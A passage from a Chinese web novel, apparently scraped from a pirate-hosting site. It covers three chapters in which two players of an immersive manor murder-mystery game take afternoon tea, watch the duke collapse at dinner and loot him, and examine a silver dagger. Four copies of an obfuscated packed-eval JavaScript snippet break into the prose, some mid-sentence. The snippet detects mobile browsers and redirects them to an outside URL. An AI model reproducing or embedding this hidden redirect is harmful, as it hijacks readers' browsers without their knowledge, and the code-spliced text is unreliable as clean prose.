“那我们现在就算是合作关系了。”江星晚伸出手,做出握手礼的准备姿势,“庄园的每一处都摆放了银制的十字架,会客厅的壁炉上方有一把银制匕首,茶几上的玻璃花瓶里放置的是大蒜头。所以——” “庄园里可能真的有鬼。” 尹辰只是怔了一下,便动作自然地握住了江星晚的手,而后蹙眉道:“要回去拿那个匕首。” “匕首被刚子拿走了,但是我觉得不会只有一把。”握手礼的时间达标,两人很自然地一起松手,江星晚看了一眼尹辰的领口,里面是那种古式的交领里衣。 “事情会很有意思的。”江星晚拿起自己的本子,在B后面的时间轴上打了个问号,“也许我们需要谨言慎行。” 尹辰对此不置可否,事实上他本也不会乱说话。 接下来江星晚没有再提起话题,两人便就此沉默,直到门外传来钟表报时的回响。 一、二、三、四,四下。 江星晚看向束起了半边窗帘的窗子,外面黄澄澄一片,像是玻璃灯泡模仿的夕晖。 下午茶时间么? 猜想很快被验证,房门被管家叩响,“小姐,下午茶已备好,请前往享用。” 江星晚只犹豫了一下,便朝尹辰伸出手,“走吧,尹道长。” 下午茶地点设在了一楼,两人抵达时那里已经站了几个人,江星晚靠着衣着回忆了一下,是幼子、公爵姐姐和李。 “姐姐。”幼子看见江星晚,主动打了招呼。 江星晚微笑着点头致意,顺势扫了一眼桌上的下午茶配置——大部分叫不上名字,但是看着挺好吃。 “道长。”幼子的热情一视同仁,但尹辰显然对下午茶更感兴趣,他拿起一块点心,在众人惊愕的目光里吃了下去。 “嗯,可以吃。”尹辰回头看向江星晚,这话是对她说的,但在场众人都能听见。 江星晚一时弄不明白这人是真聪明还是真愣。 “我这会儿还不饿。”两个莽夫也太显眼了。 公爵姐姐和李对视了一眼,正打算做些什么时恰逢其他玩家陆续过来,四名宛如复制粘贴的男仆缀在最后,虽做着侍者的事情,但总给玩家一种被包围的不适感。 唯一值得庆幸的是厅内摆放的并非那种能坐下十几号人的大长桌,而是三张圆桌。江星晚没去数总共配了多少椅子,先一步拉着尹辰落了座。 这张圆桌配了四把椅子,在场女玩家有五位,支持男女混坐的概率很大。而他们刚一坐下,公爵姐姐与李也赶过来,占据另外两个位置。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16681675|188789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 统一建模的男仆上前,给他们每人上了一杯红茶。 公爵姐姐先行拿起茶杯,姿态优雅地浅尝了一口,轻声道:“纯正的伯爵红茶。” 她说这话时眼神特意落在江星晚身上,比起点评茶更像是一种意图交好前的善意释放。江星晚在完全深陷于繁重的医学工作前热衷真人剧本杀,对这套流程简直再熟悉不过,顿时条件反射地带上了绝对不会被患者投诉的温和笑意,学着对方的礼仪举止同样拿起茶杯。 “夫人说得对。” 一来一往间其他玩家也已落座,男仆忙着上茶,她们这边顿时多出几分可供谈话的私密性,公爵姐姐微微前倾身子,压低声音迅速道:“我对欧洲礼节与食物非常有研究,且已知道一些规则。” 江星晚脑子转的飞快,思考自己身上最有可能被对方看中的筹码,“我也认为我们很合适——”余光瞥见归来的男仆,江星晚话音一转,“晚间夫人可以上来坐坐。” 公爵姐姐笑笑,对桌上的点心也下了手,演示食用方法与顺序。 目光从她有规律的拿取动作上微移,江星晚瞥了眼尹辰已经快见底的红茶,默默希望东方道长不必遵守西方礼节。 如果真的出事……出事就出事吧,至少证明了礼节确实很重要。 就是不知道他那个刀能不能留下来。 江星晚这边还在盘算能不能合法继承数据的遗产,另一桌玩家已经有了其他行动。 幼子主动呼唤了男仆,拿着一堆模糊需求试探这些npc的可交互程度,确认自己身份能摸到的边界。 厅内安静下来,其他玩家或直白或隐晦地怀揣着各异心思旁听这场交锋——在幼子的各种一分甜六分热颜色不对茶具不够亮的刻意刁难下,男仆始终态度统一,保持模板化人机应答,完全给予了公爵幼子这个身份的应有待遇。 看起来倒是没有特别高的危险性,但不能确定是不是对所有身份都如此。江星晚不打算走这个策略,她的身份有问题,还带着一个问题加倍的尹辰,很容易得不偿失。 左右此处有这么多玩家,不至于一个跟的都没有。 让人略感意外的是,第一个跟着试探的是另一桌的长媳。 “给我续一杯茶。”离她最近的男仆立刻遵从指令上前,茶壶刚开始倾倒,她便惊叫出声,坐在她旁边的霍白迅速掏出一块手绢捂在她手上,眼里的关切演的远超先前的长子,那个她身份上的丈夫。 “你怎么能如此冒失?”霍白咬字极其用力,好像男仆真的失手烫伤了长媳一样。 可惜被组合碰瓷的男仆没什么表情,只是应答前明显顿了一下,像在检索应对方案,思考的结果就是选择语气平稳地向夫人承认“他的错误”。 惩罚是没有的,别的男仆也没有连锁反应,纯程序化的表现消解了不少先前产生的恐惧,却也隐隐带出几分别的不安。 江星晚咂摸了一下另外这两桌的座位配置,有些不确定霍白和幼子是真的各自为营还是在双管齐下。 完全陌生的处境里,初始的明面阵营是很难快速放弃的。 第三个去试验的是义子,他的举动中规中矩,男仆的称呼也是统一的“公子”,听不出与幼子的太大差别。 江星晚捏着杯柄,目光扫过似乎完全没有试验想法的其他人,最后落回到尹辰身上。 5. [霍普庄园-3]优先级 尹辰在她观察别人的当空里已经跟着李学着公爵姐姐的样子按顺序吃遍了桌上的茶点,且很朴实地奔着吃饱而去,进食效率达成全场最佳。 此刻他察觉江星晚眼神,扭头看向她,在她复杂的目光里感到些许困惑,最后试探着喝完了自己茶杯里最后那口茶。 茶杯见底,男仆触发续茶程序,来到尹辰身边。 “客人,需要加奶或加糖吗?” “不用了,谢谢。” 男仆重新续满一杯茶便离开。 江星晚低头喝茶,盯着茶杯里自己的影子。尹辰在男仆眼里是客人,那她呢? 接下来的时间里江星晚开始着重观察那些触发了自动续茶的玩家,留意男仆对他们的称呼。 李、世交之子、刚子、裴管家都是客人。 霍白是小姐,公爵姐姐是夫人。 而江星晚——她硬生生把这一杯茶品到了下午茶结束,也没有完全喝光。 钟表指针走到五,男仆退场,厅内氛围放松了些,却也没有变回初来乍到时“热烈”的讨论氛围。 公爵姐姐又同她搭话,“下午茶通常会有一个组织者,负责流程的推进。” 她叹,“可惜公爵不在。” “长子倒也可以代行职责。”李难得开腔。 “那很遗憾了。”江星晚面色如常,“我们这最想发言的不是他。” 与公爵的三个儿子同桌的世交之子咬着点不燃的雪茄,神情比之前多了几分不耐与焦躁。 江星晚多看了几眼,认真道:“我还挺喜欢这种无烟化环境的。” 在她对面的两人俱是一愣,还是公爵姐姐先回神,给予了真心的赞同。 “夫人,道长,打扰一下。”幼子跻身过来,向江星晚发出邀请,“姐姐,关于上次的事,我们再聊聊?” 江星晚顿了一下,笑得自然,“好啊。” 她起身,一旁的尹辰也跟着站起来。 顶着幼子有点僵住的笑容,江星晚按着尹辰肩膀把人摁回去,“你坐着。” 尹辰倒是顺着她的力道坐了回去,但是目光紧盯着幼子,看不出情绪,却更可怕了。 江星晚视若无睹,只对着公爵姐姐微微欠身,道出句失陪便示意幼子可以出发了。 目送两人走远,尹辰才收回目光,对面的李试探开口:“冒昧地问一下,你和那位小姐是……” 尹辰抬眼,很明确地看了李与公爵姐姐,“你俩是什么关系?” 李不问了。 - 江星晚与幼子离开下午茶厅来到走廊,选在一个能看清附近人影往来的地方开始私聊。 “姐姐,你真的是新手吗?” “聊点有用的。” “那姐姐恐怕更不愿意跟我聊了。” “可以试一下。” “好吧。那姐姐觉得这里会死人吗?” 江星晚看向他,“你觉得这里是什么地方?” “高配全息剧本杀。”幼子眨了眨眼,“姐姐玩过吗?” 江星晚仔细看了看幼子的脸,笑了,“身份本初幕都没给主线,你私聊是全凭场外吗?” 幼子没有正面回答,“姐弟是天然同盟啊。” “万一这是个还原本呢。” “那不就更让人放心了吗?” 江星晚凝视他的无害笑容,“那你还当阵营本打?” “同车质量参差不齐,当然要有所取舍。” 江星晚没把话说死,“先看死者从哪里出,确定类型再说吧。” “那姐姐记得给我一个优先级。” “好说。”信息价值到位,一切都好说。 江星晚回到下午茶厅,里面就剩下几个人。尹辰依然坐在原位,看见江星晚过来,他仰头开口: “扎克、世交之子、刚子都想找我聊天,我拒绝了他们。” “李还想问我们是什么关系。”尹辰望着江星晚的眼睛,声音低了几分,“我们是什么关系?” “……”江星晚感觉厅里还活着的人都要看过来了,糊弄道,“再说吧。” 尹辰点头,起身站到江星晚身边,“我们现在去哪儿?” “随便走走。” 江星晚的庄园探索计划被迫在建筑正门前终结,管家突然闪现到他们面前,堵住了离开的道路。 “小姐,快到晚餐时间了。”管家倒是没有变脸。 “我想出去透透气。” “您知道的,夜晚很危险。” 江星晚确定附近没有其他玩家的踪影,抬手拉住尹辰的袖子,“我带着他。” “这位客人的本领尚未得到公爵的认可。” “我相信他,而且太阳还未完全落山。” 管家没有松口,“公爵不希望看到您出任何事情。” “好吧。”江星晚退了一步,“那晚餐时他会被安排在我旁边吗?” “如小姐所愿。” 江星晚没想到事情进展的这么顺利,但还不够,“管家知道的,他来自遥远的东方,对我们这里的了解很有限。为了公爵的体面,你这样周到的管家,一定都做好了准备吧。” 被戴上高帽的管家面容平静,应答流利,“当然,小姐。” “那你都做了什么准备呢?”她提出问题的瞬间,尹辰忽而有了动作——那条被江星晚拉着袖子的手臂微抬,把人往后挡了挡。 江星晚看着他另一只想去摸刀的手一愣,但在尹辰抓住刀柄前,他又把手放了下来。 管家如常地看着这两个人,“会有侍者安排一应事宜,庄园不会让客人为难。” 管家做出请的手势,江星晚看出这是要送客,留下句“那很好”便拉着尹辰折返。 一直到足够远离大门,她才按耐不住好奇,“你刚刚是打算拔刀吗?” “……你没听见?”尹辰神情微诧。 “听见什么?” 如果不是身处明亮无比的环境里,江星晚会觉得这种对话是见鬼的前奏。尤其对面的人实际也只是她从载入副本前的故事背景里随机选中的一串数据。 [同生共死]的优先级会是最高吗? “一声……”他想不到合适的形容,迟迟给不出下文。 “我不能确定,那个动静过得太快,来不及反应是什么……也没有记住。” 江星晚若有所思地看着他,来不及反应的情况下身体都能先做出应对,那真的是很来不及了。 “没关系,如果很重要的话,也不会只出现一次的。” 尹辰顿时不再纠结,认为她说的很有道理。 江星晚继续嘱咐,“等会儿晚餐记得见机行事,我猜这次会在长桌用餐,规矩会比在圆桌上多很多。别人的举止可以适当参考……当然,这些都是最好的情况,说明事情发展还算顺利。” “如果出了乱子,记得提防幼子和林曼。还记得他们是谁吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16681676|188789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当然。先前拉你去聊天的男人和音乐教师。我一句话都不会同他们说的。” 江星晚欣慰点头,“对,不过如果林曼想找你,让她来跟我聊。” “你认识她?” 江星晚没点头也没摇头,“所有人身份不同的情况下,设置边缘角色没有意义。” 这又不是现实世界里的剧本杀剧本。 她对这个地方还有些没验证的猜测,但就目前所有玩家的表现来看,这个所谓“全新手的世界”选玩家时一定设了什么门槛。 这种奇诡的世界里特意做出的安排大多都有它的用意,江星晚也只能顺着这个方向开始推理。胡乱搞搞的可能性当然也存在,但真到了那一步的话——也只能筹谋怎么同归于尽了。 - “客人,您的位置在这里。”侍者看着江星晚,手很标准地示意着一个座位,绝不给人误判的可能性。 “坐。”江星晚保持微笑,自行给尹辰安排了她左手边——更远离主位的那个位置,让他和自己一起落座。 侍者没有阻止,直接略过他去给下一位玩家安排座位。 时间倒回到七分钟前。 玩家们像到时间就该归圈的羊羔一样被侍者“赶”来餐厅,长长的餐桌华丽的唬人,吊灯折射的光芒令人眩目。 发愁这要怎么坐的玩家不在少数,但管家也的确没有骗江星晚—— 现场确实有侍者专职安排座位,但他没说这样的侍者只有一个。 还是非要等到全员到齐后再开始。 还第一个给她安排。 江星晚合理怀疑中间一定有谁夹带了私人恩怨,因为侍者在按顺序把她右手边的四个空座排满之后,只给对面排了六个人。 唯一剩下的李,被按到尹辰左边。 面对这种单开一行的待遇,李也有点发懵。但先前安排座位时有人打算跟尹辰一样直接坐下,却被侍者纠正。 用身份去要求也没有用,不遵从的话这个侍者也会“变脸”。 所以座位一定是安排好的,所以最多余的居然不是这个格格不入的道长,也不是庄园的前任管家,而是他? 李觉得这个世界真荒谬。 “黎小姐。”坐在江星晚正对面的林曼叫了她一声。 江星晚对着她笑了笑,倒没回一句“林老师”。刚刚侍者安排林曼时称呼的也是“客人”,但江星晚觉得这个客人大概率有水分。 因为太正常了。 林曼的身份如果真的正常,下午茶时就不会跟她一样,端着个这么大点的茶杯品到环节结束。 身份牌上到底写的什么,只有自己最清楚。 “我认为我们还挺投缘的。”林曼扫了一眼空置的主位,并未停止与江星晚搭话,“也许会很有共同话题。” “是吗?林小姐平时喜欢做什么?” “弹钢琴。” “原来林小姐把爱好做成了职业。” 林曼笑笑,把问题抛回来,“你呢?” “我?”江星晚神情真挚,“我爱东方玄术。” “显而易见的。”江星晚特意又看了一眼尹辰,“我应该真的很爱东方玄术。” 坐在她另一边的霍白忍不住插话,“公爵知道吗?” 江星晚很是镇定,“他很快就会知道了。” 餐厅的正门唰地打开,一个穿搭显贵的外国老男人走进来。 是霍普公爵。 6. [霍普庄园-4]公爵 公爵在主位落座,扫视一圈后勾起笑容,径直开始讲话:“很高兴你们都愿意回到庄园。恩特那提还需要几日才能开放,在此期间如果有想调整的地方,都可以向管家提出。” 管家适时鞠了一躬,满脸写着“竭诚为各位服务”,如果大家之前没见过他那“三遍变脸”的模样,这会儿说不定真会觉得这npc没什么危险性。 虽然内心给出的信任有限,但此刻每位玩家依然拿出了自己最友好的表情去应对公爵,以至于这个不知道是不是人的东西露出的笑容愈发欣慰,没有继续发表什么言论,而是让晚餐正常开始。 江星晚这会儿其实已经在怀疑礼节可能并不重要,只是出于谨慎还是默念了几遍从外向里拿,顺道悄悄去瞥离她超远的公爵姐姐是如何换餐具的。 她们现在的座位分布正好处在一个对角线的位置上,虽然远,但旁窥一个放下拿起的动作还算容易。 公爵姐姐似乎有点焦虑,看了眼身边的刚子又把视线收回,强迫自己把注意力放在面前的食物上。 厅内时不时传来几声因用力过猛导致的餐具碰撞声,但气氛又十分祥和安静,仿佛这都是正常的。 大家其乐融融,像温水锅里的青蛙一家人,在要烫死的前一刻主位青蛙突然大呱一声,浮夸地抽搐着倒向长子。 十几双眼睛愣愣看着,懵了的人不在少数。长子差点就一掌推开公爵,多亏幼子一声撕心裂肺的“父亲”让他想起来这个不熟的发病男人现在是他们共同的“爹”,蓄好力的手掌硬生生改了道,变为紧紧捏着公爵的胳膊。 现场乱成一锅粥,江星晚确信自己在一片混乱里还听见了“oh~mygod”,一时间都不知道该敬佩大家这时候也记得身份的国籍还是要思考这完全错误的急救处理到底能不能行。 这种抽抽了的要散开,散开啊! 眼看着幼子已经冲到公爵面前拿住另一侧有利地形,义子也不甘落后地冲了过去,江星晚扯着尹辰就催他往前冲,急得不行,“快!快看看公爵是不是中邪了!” 尹辰瞬间坚定目光,拍了一下江星晚的手背就从外围抄了过去。坐在这半边的长媳和霍白仍维持着“淑女”风范,因此未对道路造成阻碍,而尹辰跑得也快,最后比义子先一步成功占领了公爵脑袋后方的空地。 他一手搡开想挤开他“哭孝”的义子,用词专业,“你八字弱,先让让。” 解决掉竞争对手的尹辰两只手都没闲着,立即对还在抽抽的公爵进行一个快速搜身。 幼子没想到这人这么明目张胆,第一反应就是阻止他,“道长这是干什么?” “驱邪。” 已经跑到长媳和霍白后头的江星晚顿时刹住脚,也为尹辰这践行力度愣了一下。 纠缠的当空尹辰也没有停下动作,幼子阻拦未果,咬咬牙也顾不上什么体面不体面的,转为敷衍的演戏与火力全开地搜身。 长子作为撑着公爵身体的主力军,看着这场景只觉得自己不光衣服脏了,眼也脏了,都付出这么多代价了还不拿点好处实在亏本,遂放弃把这活爹随便推给哪个孝子贤孙的念头,自己也琢磨起公爵身上有没有值钱的玩意儿。 “这……对吗?”长媳略显迟疑。 操作肯定是不对的,但是应该也没人真的想着去救公爵。蜂拥而至的儿子们多半是想从他身上捞点东西,哪怕一开始不敢的,这会儿抱着别人有我就也得有的念头都冲了上来。 好在尹辰个高腿长的,在这种情况下仍能稳住一些优势。 江星晚没打算参与进这场混战,用人不疑,想办法把稳定合作的优势发挥到最大才是现在最该做的。 刚刚公爵一发病管家就不见了踪影,其他还在的侍者更是像死了一样,一点反应都没有,全由着玩家表演发挥。 是程序未编辑,还是固定流程? 如果是后者…… 一个骤然发病的公爵,一桌沾亲带故的重回庄园之人。是想让玩家找凶手,还是在进行背景导入? 信息还是太少了,题目类型都要靠自己猜的考试简直是精神折磨。 “我们去问问医生什么时候到吧?”江星晚盯上离她最近的霍白与长媳,一手拉住一个,后者点了点头,霍白也没反对,三个人肩并肩地走到先前安排座位的那个侍者面前。 显然大家的想法是一致的——套消息还是得找关键角色。 公爵在抽,管家不在,这位侍者自然成了最优选择。而他面对三位女士的半包围无法装瞎,只有欠身行礼。 江星晚先一步问道,“管家是去请医生了吗?怎么还没回来?” “我不知道。小姐。” 江星晚微微蹙眉,他这时候想起来叫她小姐了?那她到底是小姐还是客人,还是说这侍者跟管家一样特殊? 霍白在听完江星晚询问的内容后就明智闭嘴,她没办法确定自己是否了解公爵近况,黎晚都没问这种踩线内容,她就更不可能冒险了。 “公……公爵这样多久了?”长媳搓着自己的腕骨,尽力让自己看起来镇定一点。 侍者表示抱歉,“我也刚来。夫人。” 三人顿时无言。江星晚总觉得还有哪里不对劲,但没等仔细思考就听见尹辰的声音:“你中邪了。” 一脸笃定的道长此刻正按着刚刚苏醒的公爵,公爵的儿子们把他们围在正中,场面有点不忍直视。 公爵:“你……” “你中邪了。”尹辰又重复了一遍,满眼都是体谅,“多亏了我。” 江星晚有点意外,公爵那各怀鬼胎的儿子们就这么看着尹辰忽悠,一个跳出来反驳的都没有? 难道说……尹辰真会驱邪? 公爵捂着胸口,整个人还有些没回过神,但也没有那么轻易的被尹辰牵着鼻子走,“你是谁?” “当然是你请来的道长。公爵分不出来,难道是请的人不止我一个?”尹辰脸翻的比公爵还快,瞬间严肃起来,“道上规矩,一事可不能找二主。” 江星晚听得汗都快下来了,要不是她人已经过来又见公爵没有暴起迹象,或许她会果断放弃这个莽夫。 但现在,她还是伸手拉住了尹辰。 公爵的目光随着江星晚的动作落到她身上,面上的疑惑神情明显有所缓和,甚至还笑着飙出了洋文,“oh——my■。” 明显的消音部分弄得人一愣,江星晚先前完全没考虑过这种发展方向,以至于反应都有些慢,准备好的说辞都卡在了喉咙里。 公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16681677|188789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爵没有介意她的毫无回应,反倒重新审视了一遍她身边的尹辰,摇头又点头,最后神情有点勉强又无奈地叹了声:“差强人意吧。” 江星晚噎了一下,但对于调整完心理预期的她来说公爵就是这会儿自称朕她都能笑着把戏接下去,“人与人之间的缘分是很奇妙的。” 公爵点了点头,没有继续纠结这件事的打算,挣扎着身体想要起来,却是摸了个空,“我的权杖呢?” 他进来时的确拄着一个手杖,这会儿一问出口,不少人下意识地往周围地面看。 “……父亲,在这里。”长子从他的凳子下面掏出权杖,塞进公爵手里,脸色比之前还要臭一点。 公爵跟察觉不到他情绪一样,拄着权杖站起来,拍了拍长子肩膀,夸道:“做得好,儿子。” “父亲!”有长子对比,幼子认父的态度简直甜度超标。 公爵也很有耐心,“怎么了?” 幼子笑着示意公爵看看刚才也围着他的那两个“编外儿子”,语气像是单纯的邀功,“刚刚我和哥哥们都很担心你。” 被提及的义子和世交之子下意识站直了身体。 公爵的目光让他们有点发毛,却也没人敢对幼子破口大骂,毕竟公爵又不是什么判官,他们刚刚的面子功夫也确实不如这个阴小子。 “是吗?那很让我欣慰。” 公爵似乎玩够了父慈子孝的把戏,抓着手杖准备离开,临走前被霍白和长媳短暂地挡住了去路。 江星晚确定自己没听见任何公爵的声音,但霍白和长媳面上都流露出错愕。公爵绕过她们,离开了这里。 “你什么意思?”公爵一走,世交之子就再也憋不住脾气,皱着眉堵住幼子去路,质问他刚刚的行为。 幼子人看着比世交之子瘦弱,却一点都不怯他,笑得一脸灿烂,“我能有什么意思?帮哥哥们一把而已。” “你别装傻!” 互殴似乎一触即发,尹辰护着江星晚往后撤了撤,给他们留出足够空间。 幼子这时候还笑得厉害,堪称明牌挑衅。 气氛烘托到这里,世交之子要是不给他一拳都显得自己是个孬种,但是残余的理智又裹挟着他的拳头,压制他的动作。 这小子绝对是在故意激怒他……对,故意激怒他! 刚子这时也快步走过来,站在两人中间,他身后跟着裴管家。两人一边一个调停拉架,算是递了个台阶。 世交之子一边放狠话一边顺着刚子拉架的动作往后退回到安全距离,明眼人都看得明白他不会真动手,但刚子还是劝着,“都是兄弟,别动真气。” “这小子就没安好心!” “别吵了。”还留在餐桌另一侧的林曼抬了抬下巴,“他都在看你了。” 世交之子回头,就看见先前还低着头在墙边“罚站”的侍者已经抬起头,黑漆漆的眼瞳直勾勾望着他,他那一身怒火顿时凉了八分,同时被扼住了所有声音。 幼子知道计划失败,有些遗憾,但也没太在意,转而弯腰拍了拍裴管家的胳膊,轻声道:“裴伯伯回去吧,我没事。” 闹剧落幕,江星晚觉得此处不宜久留,刚想找个借口招呼尹辰离开,他已先发出邀请:“我们回房间吧。” 7. [霍普庄园-5]匕首 两人刚回到房间关好门,尹辰就迫不及待地从袖口里摸出一把匕首,递给江星晚。 匕首造型古朴,通身银色,刀柄上嵌着一枚异形透明宝石。 拔开刀鞘后能看出是双刃匕,中间还做了血槽。 “这是?” 尹辰低头看着江星晚发亮的眼神,嘴角上扬,“在公爵那里找到的。你拿着,防身用。” 神使选拔还是有点危险,有个武器更方便她发挥。 “公爵?他身上吗?有没有被别人看到?” “没有,他身上有不少东西,我趁着其他人忙着顺别的东西时转移的。” 江星晚一愣,“还有谁顺了东西?” “都顺了。”尹辰老实回答,“除了长子,他顺的让公爵要回去了。” 江星晚一时沉默。 “幼子顺走一封信,扎克顺走一个金怀表,世交之子顺走了一个打火机。” “什么?”江星晚单凭朴素的直觉都认为很多东西不该出现。 尹辰对她的怀疑一无所知,还在点头,“嗯,他们都顺了。” 见江星晚仍有些出神,他又补充道:“藏匕首有点麻烦,耽搁了点时间。公爵身上没有什么好东西了。” “你已经很厉害了。”江星晚并不吝啬夸奖,尹辰提到的这四样东西里她也最喜欢匕首。 人都已经到这种地方了,还有什么比提高战力更能战胜恐惧? 江星晚合上刀鞘,试了试这把匕首能不能收入背包。 “检测到特殊道具,已收入背包,数据分析中……分析完成。” 【道具名称:■之刃】 【道具描述:一把尚未见血的匕首。】 【道具评级:?】 江星晚快速完成了信息阅读,悬浮窗隐去,抬眼对上尹辰有些震惊的目光时,她顿了顿,“你能看见吗?” 尹辰还有些呆,喃喃着:“你果然是神使……” 江星晚垂眸,“现在还只是候选人。” 尹辰没做声,他有自己的判断力。 “……在吗?”厚重的房门忽然被叩响,公爵姐姐的声音模糊不清地传来,江星晚想起之前的约定,打开了门。 公爵姐姐站在门外,扬起的笑容在看见尹辰时顿住,整个人顿时尴尬起来,不确定能不能进来。 江星晚放松了些,推了下尹辰的胳膊让他出去玩会儿,“我们等会再聊。” 尹辰乖乖出去,江星晚看了眼还有些手足无措的公爵姐姐,手动把她拉了进来,带到室内的小沙发前坐下。 见她仍不太自在,江星晚主动缓和气氛:“屋里也没个茶壶什么的,连杯水也没办法招待。” “没事的我不渴。”公爵姐姐连忙摆手。 江星晚笑了笑,切入正题:“那我们来置换一下信息。” “我觉得礼节可能并不重要。”江星晚绝非单纯的杀价,她砍价砍的有理有据:“晚餐时分已经表现的很明显了,公爵对这些并没有病态的苛求欲。再加上我们这些身份里还有东方的道长,若真的在礼仪上太过严苛,怎么看都有些不公平。” 公爵姐姐:“可在这个世界里,目前并没有明确的信息表明一切安排都是公平的。” “但身份的确可以凌驾于一定的规则之上。”江星晚冷不防丢出一个发现,笑吟吟地看着公爵姐姐,“我试验过了。” …… 把公爵姐姐送到门外后江星晚在走廊站了会儿。房门正对的墙面上挂着一幅风景画,画的绘画风格自带抖动模糊效果,内容似乎是一匹枣红马在粉色花海里奔跑。 江星晚看着那个肆意的红点,思绪飘到另外五间房门对面空无一物的现实上。 其他房门对面真的没有画吗? 江星晚回忆着今日的所见所闻,自认有很多东西已经可以串联起来,但主线任务却迟迟没有出现。 这个总不会不播报吧? 难道公爵真的该死但今夜过去才死? 颅内立刻冒出各种死法,江星晚深吸一口气把这些臆想都丢出去。 走廊另一端传来轻微脚步声,尹辰从那边的楼梯间探出身影,与江星晚对上目光后快步走过来,“你和她聊完了?” 江星晚怕隔壁的林曼突然开门,嗯了一声就拉着尹辰回屋。 这个“合住”状态太过惹眼,就算她前后铺垫了不少,必然也会被一些人怀疑。 坐回到熟悉的沙发上,尹辰先行交代了自己刚刚的去处:“站门口有点傻,我就去了最近的楼梯间。” “没碰到林曼吧?” “没有。”尹辰摇头,“你好像很在意她?” “……你都说了,这是神使选拔,自然要对对手上心。”江星晚愈发熟练地使用尹辰的世界观来糊弄他。 “你认为她最危险。”尹辰试图学着分析,“是因为她看到我们了吗?” “不全是。” 尹辰没再问还有什么,而是提起了另一件事:“我们现在与公爵姐姐结盟了吗?” 江星晚注视着他:“你觉得这个游戏是阵营战?” 尹辰愣了一下,“不然给这么多身份做什么?” “神灵的教义是什么?”江星晚突转话题。 尹辰没做犹豫:“众生平等。” 江星晚把这些记在心里,回答了先前的问题:“没结盟,只是置换了一些消息。暂且可归于表面友好。” 尹辰举一反三,“那我们跟谁是表面交恶?” “为什么要交恶呢?”江星晚朝尹辰伸出手,借用他的擦刀布,“我们这种身份,天生就写着‘安全’,谁戾气这么重,非要同我们交恶。” 江星晚把匕首擦得蹭亮,“谁都可以拉拢我们,谁也不会真的和我们交心。我们只有一种打法可走。” “墙头草?” 江星晚瞪了尹辰一眼,“情报中转商。” 尹辰沉默片刻,有些纠结地看向江星晚,“那你怎么赢得神使选拔?” “我只是倒卖情报,又没说退出竞争。” “但竞争很激烈的话,后面就不会把发现告诉非本阵营的人了吧?” 江星晚但笑不语,没有披露自己的全部计划,只是把擦刀布还给尹辰,“今晚我守前半夜,你守后半夜?” “钟表没再响了。”尹辰解下刀拿在手里,“天黑之后就没再响了。你可以分清何时是后半夜吗?” 江星晚看向窗子,下午时那里的窗帘还半束着,晚上回来后就已经是放下的状态。 右手握紧匕首,她上前拉开窗帘。 窗外是纯粹的黑,没有月亮,也没有星星。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16681678|188789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “月亮的光来自太阳。”江星晚检查了一下窗子的密闭性,然后把窗帘重新拉好。 尹辰跟在她身后,听见这句话也只是嗯了一声,表情自然的像承认一加一等于二。 江星晚只看了他一眼就收回视线,折回到沙发前拾起匕首的刀鞘,“你先睡吧,我有生物钟,会准时准点地叫你的。” 尹辰没再推拒,前半夜相对好守。他环视了一圈房间,能躺下人的只有那张床。 江星晚现在并不在意这个,这张床其实还算宽敞,比医院值班室的条件好多了。 “你睡吧,哪边都行。” 尹辰想了想,往靠近衣柜的那侧迈出步子,挨到床边时他又停下,“你也过来吧,离近些,好照应。” 江星晚点头,在另一边床沿坐下,盯紧房门。 尹辰没完全躺下,叠了个枕头半靠着就抱刀闭眼,右手还搭在刀柄上,只要一有动静随时都能做出反应。 房间内只能听到两道呼吸声,过分的安静消磨活着的实感,江星晚摩挲着匕首刀柄,认真猜测今夜会来个鬼还是人。 通常来说,顺走公爵的东西应该得付出一点代价。而这样的庄园置景与语焉不详的“恩特那提”,往往对应着悬疑与灵异片场。 江星晚的思维漫无目的地发散着,先前公爵姐姐给她的线索是“在场有一部分人是受邀来到庄园”。至于这部分人的名单,公爵姐姐需要她提供被身份改变了的那条规则来交换。 